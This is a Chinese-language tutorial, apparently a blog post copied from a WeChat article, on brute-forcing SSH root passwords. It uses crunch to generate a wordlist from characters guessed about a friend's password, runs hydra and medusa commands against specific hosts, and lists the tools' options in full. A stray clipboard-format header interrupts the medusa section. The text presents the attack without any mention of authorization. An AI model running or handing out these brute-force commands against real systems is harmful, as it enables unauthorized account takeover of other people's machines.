hydra和crunch暴破SSH口令
kali中自带了hydra和crunch,hydra用于暴力破解账户和口令,可以对web登录、数据库、SSH、FTP等服务的账户和口令进行暴破,crunch是一种创建密码字典工具,按照指定的规则生成密码字典,用户可以根据需求灵活的制定自己的字典文件。如下图,根据我对朋友的了解(其实已经猜到了密码),自定义了字符集Diuagnx1。
crunch 9 9 -o passwords.txt -p Diuagnx1
其实 9 9表示生成最短长度为9位,最长长度为9位(废话真多,也就是说生成长度为9位的口令),-o 的意思是保存为XXX文件,-p是指以排列组合的方式来生成字典(就是说这几个字母不带重复的哦),好了字典文件准备好了我们就开始用hydra暴破另一台机子的ssh口令啦。
hydra暴破指令:hydra -l root -P passwords.txt -t 16 ssh://10.10.19.189
-l 后面接的是ssh账户(因为我已经知道是root了,所以不对账户进行暴破),-P 后面接的是暴破需要穷举的密码字典文件,-t是指线程数,10.10.19.189是需要攻击的主机ip,暴破还是需要点时间的,哈哈。
crunch使用说明:
Usage: crunch <min> <max> [options]
where min and max are numbers
参数详解
min 设定最小字符串长度(必选)
max 设定最大字符串长度(必选)
options
-b 指定文件输出的大小,避免字典文件过大
-c 指定文件输出的行数,即包含密码的个数
-d 限制相同元素出现的次数
-e 定义停止字符,即到该字符串就停止生成
-f 调用库文件(/etc/share/crunch/charset.lst)
-i 改变输出格式,即aaa,aab -> aaa,baa
-I 通常与-t联合使用,表明该字符为实义字符
-m 通常与-p搭配
-o 将密码保存到指定文件
-p 指定元素以组合的方式进行
-q 读取密码文件,即读取pass.txt
-r 定义重某一字符串重新开始
-s 指定一个开始的字符,即从自己定义的密码xxxx开始
-t 指定密码输出的格式
-u 禁止打印百分比(必须为最后一个选项)
-z 压缩生成的字典文件,支持gzip,bzip2,lzma,7z
特殊字符
% 代表数字
^ 代表特殊符号
@ 代表小写字母
, 代表大写字符
hydra参数说明:
hydra [[[-l LOGIN|-L FILE] [-p PASS|-PFILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-wTIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46][service://server[:PORT][/OPT]]
-l LOGIN 指定破解的用户名称,对特定用户破解。
-L FILE 从文件中加载用户名进行破解。
-p PASS小写p指定密码破解,少用,一般是采用密码字典。
-P FILE 大写字母P,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-t TASKS 同时运行的连接的线程数,每一台主机默认为16。
-M FILE 指定服务器目标列表文件一行一条
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-v / -V 显示详细过程。
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-U 服务模块使用细节
-h 更多的命令行选项(完整的帮助)
server 目标服务器名称或者IP(使用这个或-M选项)
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get}http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysqloracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icqsapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等
OPT 一些服务模块支持额外的输入(-U用于模块的帮助)
medusa暴破SSH口令
在此说明一下最新版的kali是木有的哦,要自行安装。
下载地址 https://github.com/jmk-foofus/medusa/archive/2.2.tar.gz
下载文件 wget https://github.com/jmk-foofus/medusa/archive/2.2.tar.gz
此时如果直接编译安装会报以下错误(缺失libssl-dev包引起)。在安装之前我们还需要依次执行sudo apt-get install aptitude和sudo aptitude install libssl-dev两条指令,这两条指令分别用于安装aptitude(aptitude软件包管理器)和aptitude安装 libssl-dev包。
在终端输入medusa -M ssh -h 10.10.19.80 -u root -P passwords.txt
Medusa参数详解:
Medusa [-hhost|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module[OPT]
Version:1.0StartHTML:000000212EndHTML:000483634StartFragment:000475528EndFragment:000483516StartSelection:000475528EndSelection:000483516SourceURL:https://mp.weixin.qq.com/s/oCvHU8uq5e5dDKasEXrsDA
-h [TEXT] 目标主机名称或者IP地址
-H [FILE] 包含目标主机名称或者IP地址文件
-u [TEXT] 测试的用户名
-U [FILE] 包含测试的用户名文件
-p [TEXT] 测试的密码
-P [FILE] 包含测试的密码文件
-C [FILE] 组合条目文件
-O [FILE] 日志信息文件
-e [n/s/ns] n代表空密码,s代表为密码与用户名相同
-M [TEXT] 模块执行名称
-m [TEXT] 传递参数到模块
-d 显示所有的模块名称
-n [NUM] 使用非默认Tcp端口
-s 启用SSL
-r [NUM] 重试间隔时间,默认为3秒
-t [NUM] 设定线程数量
-T 同时测试的主机总数
-L 并行化,每个用户使用一个线程
-f 在任何主机上找到第一个账号/密码后,停止破解
-F 在任何主机上找到第一个有效的用户名/密码后停止审计。
-q 显示模块的使用信息
-v [NUM] 详细级别(0-6)
-w [NUM] 错误调试级别(0-10)
-V 显示版本
-Z [TEXT] 继续扫描上一次